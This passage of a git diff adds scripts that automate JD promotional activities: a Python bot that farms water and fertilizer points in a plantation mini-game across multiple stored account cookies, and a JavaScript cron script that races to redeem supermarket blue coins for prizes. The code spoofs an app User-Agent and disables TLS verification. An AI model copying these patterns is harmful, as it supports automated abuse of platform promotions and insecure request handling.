'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行浏览任务【{1}】等待10秒".format (account, taskName)) + msg ("账号【{0}】执行浏览任务【{1}】成功,获取【{2}】水滴".format (account, taskName, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 做浏览任务 +def do_task2(cookie, taskName, taskId, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/water_meetingplace_view?meetingplace_id={taskId}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行浏览任务【{1}】等待10秒".format (account, taskName)) + msg ("账号【{0}】执行浏览任务【{1}】成功,获取【{2}】水滴".format (account, taskName, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 浏览加购 +def do_task3(cookie, taskName, taskId, sid, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/water_product_view?product_id={taskId}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行浏览加购【{1}】等待10秒".format (account, taskName)) + msg ("账号【{0}】执行浏览加购【{1}】成功,获取【{2}】水滴".format (account, taskName, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 施肥中的任务-浏览关注 +def do_fertilizer_task(cookie, shop_id, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_shop_view?shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + while True: + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行【浏览关注】等待10秒".format (account)) + msg ("账号【{0}】执行【浏览关注】任务成功,获取【{1}】肥料".format (account, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 施肥中的任务-浏览 +def do_fertilizer_task2(cookie, name, meetingplace_id, shop_id, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_meetingplace_view?meetingplace_id={meetingplace_id}&shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行浏览关注{1}等待10秒".format (account, name)) + msg ("账号【{0}】执行浏览关注{1}任务成功,获取【{2}】肥料".format (account, name, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 施肥中的任务-加购 +def do_fertilizer_task3(cookie, name, product_id, shop_id, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_product_view?product_id={product_id}&shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + while True: + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行浏览并加购{1}等待10秒".format (account, name)) + msg ("账号【{0}】执行浏览并加购{1}任务成功,获取【{2}】肥料".format (account, name, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 施肥中的任务-观看其他小样 +def do_fertilizer_task4(cookie, shop_id, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_sample_view?shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行【观看其他小样】等待10秒".format (account)) + msg ("账号【{0}】执行【观看其他小样】任务成功,获取【{1}】肥料".format (account, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 施肥中的任务-浏览化妆馆 +def do_fertilizer_task5(cookie, shop_id, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_chanel_view?shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + print (result) + score = result['inc'] + print ("账号【{0}】执行【浏览化妆馆】等待10秒".format (account)) + msg ("账号【{0}】执行【浏览化妆馆】任务成功,获取【{1}】肥料".format (account, score)) + time.sleep (10) + except Exception as e: + print (e) + time.sleep (1) + + +# 施肥中的任务-美妆币兑换,每天5次 +def do_fertilizer_task6(cookie, shop_id, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_exchange?shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + for i in range (5): + response = requests.get (url=url, verify=False, headers=headers) # data中有汉字,需要encode为utf-8 + result = response.json () + # print(result) + score = result['inc'] + print ("账号【{0}】【shop_id:{1}】正在【兑换肥料】等待10秒".format (account, shop_id)) + msg ("账号【{0}】【shop_id:{2}】执行【兑换肥料】任务成功,获取【{1}】肥料".format (account, score, shop_id)) + time.sleep (10) + except Exception as e: + print (e) + msg ("账号【{0}】【shop_id:{1}】肥料兑换已达上限".format (account, shop_id)) + time.sleep (1) + + +# 浇水 +def watering(cookie, plant_id, sid, account): + try: + url = 'https://xinruimz-isv.isvjcloud.com/papi/watering' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + data = r'{"plant_id":' + f"{plant_id}" + r'}' + while True: + response = requests.post (url=url, verify=False, headers=headers, + data=data.encode ()) # data中有汉字,需要encode为utf-8 + result = response.json () + # print(result) + level = result['level'] # 当前等级 + complete_level = result['complete_level'] # 完成等级 + msg ("【账号{0}】【plant_id:{3}】成功浇水10g,当前等级{1},种子成熟等级为{2}".format (account, level, complete_level, plant_id)) + time.sleep (5) + + except Exception as e: + print(e) + # pass + + +# 施肥 +def fertilization(cookie, plant_id, shop_id, account): + url = 'https://xinruimz-isv.isvjcloud.com/papi/fertilization' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + # 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + data = r'{"plant_id":' + f"{plant_id}" + r'}' + i = 1 + while True: + try: + response = requests.post (url=url, verify=False, headers=headers, data=data) # data中有汉字,需要encode为utf-8 + result = response.json () + # print(result) + level = result['level'] # 当前等级 + complete_level = result['complete_level'] # 完成等级 + printT ("【账号{0}】【plant_id:{3}】成功施肥10g,当前等级{1},种子成熟等级为{2}".format (account, level, complete_level, plant_id)) + time.sleep (5) + i += 1 + + except Exception as e: + # print(e) + message = result['message'] + total = i * 10 + if "肥料不足" in message: + msg("【账号{0}】【plant_id:{1}】本次一共施肥{2}g".format (account, plant_id,total)) + printT ("【账号{0}】【plant_id:{1}】肥料不足10g".format (account, plant_id)) + break + + +def start(): + global cookie, cookies + print (f"\n【准备开始...】\n") + nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') + if cookie != '': + account = setName (cookie) + access_token = get_ck (cookie, sid_ck, account) + cookie = get_Authorization (access_token, account) + name_list, position_list, shop_id_list, planted_id_list = get_planted_info (cookie, sid, account) + taskName_list, taskId_list, taskName_list2, taskId_list2, taskName_list3, taskId_list3 = get_task (cookie,account) + get_water (cookie, position_list, sid, account) + get_fertilizer (cookie, shop_id_list, account) + for i, j in zip (taskName_list, taskId_list): + do_task1 (cookie, i, j, account) + for i, j in zip (taskName_list2, taskId_list2): + do_task2 (cookie, i, j, account) + for i, j in zip (taskName_list3, taskId_list3): + do_task3 (cookie, i, j, sid, account) + + flag = 0 + for i in shop_id_list: + do_fertilizer_task (cookie, i, account) # 浏览关注 + for k in shop_id_list: + taskName_list2, taskId_list2, taskName_list3, taskId_list3, taskName_list4, taskId_list4 = get_fertilizer_task (cookie, k, account) + do_fertilizer_task4 (cookie, k, account) + do_fertilizer_task5 (cookie, k, account) + if beauty_plant_exchange == 'true': + do_fertilizer_task6 (cookie, k, account) + for i, j in zip (taskName_list2, taskId_list2): + print (i, j, k) + do_fertilizer_task2 (cookie, i, j, k, account) # 浏览 + for i, j in zip (taskName_list3, taskId_list3): + print (i, j, k) + do_fertilizer_task3 (cookie, i, j, k, account) # 加购 + + if choose_plant_id == 'false': + for i in planted_id_list: + watering (cookie, i, sid, account) + fertilization (cookie, i, k, account) + else: + fertilization (cookie, planted_id_list[flag], k, account) + watering (cookie, planted_id, sid, account) + flag += 1 + + elif cookies != '': + for cookie, planted_id in zip (cookies, planted_ids): + try: + account = setName (cookie) + access_token = get_ck (cookie, sid_ck, account) + cookie = get_Authorization (access_token, account) + name_list, position_list, shop_id_list, planted_id_list = get_planted_info (cookie, sid, account) + except Exception as e: + pass + for cookie, planted_id in zip (cookies, planted_ids): + try: + account = setName (cookie) + access_token = get_ck (cookie, sid_ck, account) + cookie = get_Authorization (access_token, account) + name_list, position_list, shop_id_list, planted_id_list = get_planted_info (cookie, sid, account) + taskName_list, taskId_list, taskName_list2, taskId_list2, taskName_list3, taskId_list3 = get_task (cookie, account) + get_water (cookie, position_list, sid, account) + get_fertilizer (cookie, shop_id_list, account) + for i, j in zip (taskName_list, taskId_list): + do_task1 (cookie, i, j, account) + for i, j in zip (taskName_list2, taskId_list2): + do_task2 (cookie, i, j, account) + for i, j in zip (taskName_list3, taskId_list3): + do_task3 (cookie, i, j, sid, account) + + flag = 0 + for i in shop_id_list: + do_fertilizer_task (cookie, i, account) # 浏览关注 + for k in shop_id_list: + taskName_list2, taskId_list2, taskName_list3, taskId_list3, taskName_list4, taskId_list4 = get_fertilizer_task ( + cookie, k, account) + do_fertilizer_task4 (cookie, k, account) + do_fertilizer_task5 (cookie, k, account) + if beauty_plant_exchange == 'true': + do_fertilizer_task6 (cookie, k, account) + for i, j in zip (taskName_list2, taskId_list2): + print (i, j, k) + do_fertilizer_task2 (cookie, i, j, k, account) # 浏览 + for i, j in zip (taskName_list3, taskId_list3): + print (i, j, k) + do_fertilizer_task3 (cookie, i, j, k, account) # 加购 + + if choose_plant_id == 'false': + for i in planted_id_list: + fertilization (cookie, i, k, account) + watering (cookie, i, sid, account) + else: + print("【账号{}现在开始施肥】".format(account)) + fertilization (cookie, planted_id_list[flag], k, account) + print ("【账号{}现在开始浇水】".format (account)) + watering (cookie, planted_id, sid, account) + flag += 1 + except Exception as e: + pass + else: + printT ("请检查变量plant_cookie是否已填写") + + +if __name__ == '__main__': + printT ("美丽研究院-种植园") + start () + # if '成熟' in msg_info: + # send ("美丽研究院-种植园", msg_info) + if '成功' in msg_info: + send ("美丽研究院-种植园", msg_info) diff --git a/jd_blueCoin.js b/jd_blueCoin.js new file mode 100644 index 0000000..2eeb15e --- /dev/null +++ b/jd_blueCoin.js @@ -0,0 +1,526 @@ +/* +东东超市兑换奖品 脚本地址:https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js +感谢@yangtingxiao提供PR +更新时间:2021-6-7 +活动入口:京东APP我的-更多工具-东东超市 +支持京东多个账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============QuantumultX============== +[task_local] +#东东超市兑换奖品 +59 23 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js, tag=东东超市兑换奖品, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxc.png, enabled=true + +====================Loon================= +[Script] +cron "59 23 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js,tag=东东超市兑换奖品 + +===================Surge================== +东东超市兑换奖品 = type=cron,cronexp="59 23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js + +============小火箭========= +东东超市兑换奖品 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_blueCoin.js, cronexpr="59 23 * * *", timeout=3600, enable=true + */ +const $ = new Env('东东超市兑换奖品'); +const notify = $.isNode() ? require('./sendNotify') : ''; +let allMessage = ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let coinToBeans = $.getdata('coinToBeans') || 0; //兑换多少数量的京豆(20或者1000),0表示不兑换,默认不兑换京豆,如需兑换把0改成20或者1000,或者'商品名称'(商品名称放到单引号内)即可 +let jdNotify = false;//是否开启静默运行,默认false关闭(即:奖品兑换成功后会发出通知提示) +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/api?appid=jdsupermarket`; +Date.prototype.Format = function (fmt) { //author: meizz + var o = { + "M+": this.getMonth() + 1, //月份 + "d+": this.getDate(), //日 + "h+": this.getHours(), //小时 + "m+": this.getMinutes(), //分 + "s+": this.getSeconds(), //秒 + "S": this.getMilliseconds() //毫秒 + }; + if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)); + for (var k in o) + if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); + return fmt; +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.data = {}; + $.coincount = 0; + $.beanscount = 0; + $.blueCost = 0; + $.errBizCodeCount = 0; + $.coinerr = ""; + $.beanerr = ""; + $.title = ''; + //console.log($.coincount); + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + // console.log(`目前暂无兑换酒类的奖品功能,即使输入酒类名称,脚本也会提示下架\n`) + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName || $.UserName}\n请重新登录获取cookie`); + } + continue + } + //先兑换京豆 + if ($.isNode()) { + if (process.env.MARKET_COIN_TO_BEANS) { + coinToBeans = process.env.MARKET_COIN_TO_BEANS; + } + } + try { + if (`${coinToBeans}` !== '0') { + await smtgHome();//查询蓝币数量,是否满足兑换的条件 + await PrizeIndex(); + } else { + console.log('查询到您设置的是不兑换京豆选项,现在为您跳过兑换京豆。如需兑换,请去BoxJs设置或者修改脚本coinToBeans或设置环境变量MARKET_COIN_TO_BEANS\n') + } + await msgShow(); + } catch (e) { + $.logErr(e) + } + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function PrizeIndex() { + let nowtime = new Date().Format("s.S") + let starttime = $.isNode() ? (process.env.SM_STARTTIME ? process.env.SM_STARTTIME * 1 : 60) : ($.getdata('SM_STARTTIME') ? $.getdata('SM_STARTTIME') * 1 : 60); + if(nowtime < 59) { + let sleeptime = (starttime - nowtime) * 1000; + console.log(`等待时间 ${sleeptime / 1000}`); + await sleep(sleeptime) + } + await smtg_queryPrize(); + // await smtg_materialPrizeIndex();//兑换酒类奖品,此兑换API与之前的兑换京豆类的不一致,故目前无法进行 + // await Promise.all([ + // smtg_queryPrize(), + // smtg_materialPrizeIndex() + // ]) + // const prizeList = [...$.queryPrizeData, ...$.materialPrizeIndex]; + const prizeList = [...$.queryPrizeData]; + if (prizeList && prizeList.length) { + if (`${coinToBeans}` === '1000') { + if (prizeList[1] && prizeList[1].type === 3) { + console.log(`查询换${prizeList[1].name}ID成功,ID:${prizeList[1].prizeId}`) + $.title = prizeList[1].name; + $.blueCost = prizeList[1].cost; + } else { + console.log(`查询换1000京豆ID失败`) + $.beanerr = `东哥今天不给换`; + return ; + } + // if (prizeList[1] && prizeList[1].status === 2) { + // $.beanerr = `失败,1000京豆领光了,请明天再来`; + // return ; + // } + if (prizeList[1] && prizeList[1].limit === prizeList[1] && prizeList[1].finished) { + $.beanerr = `${prizeList[1].name}`; + return ; + } + //兑换1000京豆 + if ($.totalBlue > $.blueCost) { + for (let j = 0; j <= 10; j++) { + await smtg_obtainPrize(prizeList[1].prizeId); + if ($.errBizCodeCount >= 15) break + } + } else { + console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); + $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; + } + } else if (`${coinToBeans}` === '20') { + if (prizeList[0] && prizeList[0].type === 3) { + console.log(`查询换${prizeList[0].name}ID成功,ID:${prizeList[0].prizeId}`) + $.title = prizeList[0].name; + $.blueCost = prizeList[0].cost; + } else { + console.log(`查询换万能的京豆ID失败`) + $.beanerr = `东哥今天不给换`; + return ; + } + // if (prizeList[0] && prizeList[0].status === 2) { + // console.log(`失败,万能的京豆领光了,请明天再来`); + // $.beanerr = `失败,万能的京豆领光了,请明天再来`; + // return ; + // } + if ((prizeList[0] && prizeList[0].limit) === (prizeList[0] && prizeList[0].finished)) { + $.beanerr = `${prizeList[0].name}`; + return ; + } + //兑换万能的京豆(1-20京豆) + if ($.totalBlue > $.blueCost) { + for (let j = 0; j <= 10; j++) { + await smtg_obtainPrize(prizeList[0].prizeId, 1000); + if ($.errBizCodeCount >= 15) break + } + } else { + console.log(`兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`); + $.beanerr = `兑换失败,您目前蓝币${$.totalBlue}个,不足以兑换${$.title}所需的${$.blueCost}个`; + } + } else { + //自定义输入兑换 + console.log(`\n\n温馨提示:需兑换商品的名称设置请尽量与其他商品有区分度,否则可能会兑换成其他类似商品\n\n`) + let prizeId = '', i; + for (let index = 0; index < prizeList.length; index ++) { + if (prizeList[index].name.indexOf(coinToBeans) > -1) { + prizeId = prizeList[index].prizeId; + i = index; + $.title = prizeList[index].name; + $.blueCost = prizeList[index].cost; + $.type = prizeList[index].type; + $.beanType = prizeList[index].hasOwnProperty('beanType'); + } + } + if (prizeId) { + if (prizeList[i].inStock === 506 || prizeList[i].inStock === -1) { + console.log(`失败,您输入设置的${coinToBeans}领光了,请明天再来`); + $.beanerr = `失败,您输入设置的${coinToBeans}领光了,请明天再来`; + return ; + } + if ((prizeList[i].targetNum) && prizeList[i].targetNum === prizeList[i].finishNum) { + $.beanerr = `${prizeList[0].subTitle}`; + return ; + } + if ($.totalBlue > $.blueCost) { + if ($.type === 4 && !$.beanType) { + for (let j = 0; j <= 10; j++) { + await smtg_obtainPrize(prizeId, 0, "smtg_lockMaterialPrize") + if ($.errBizCodeCount >= 15) break + } + } else { 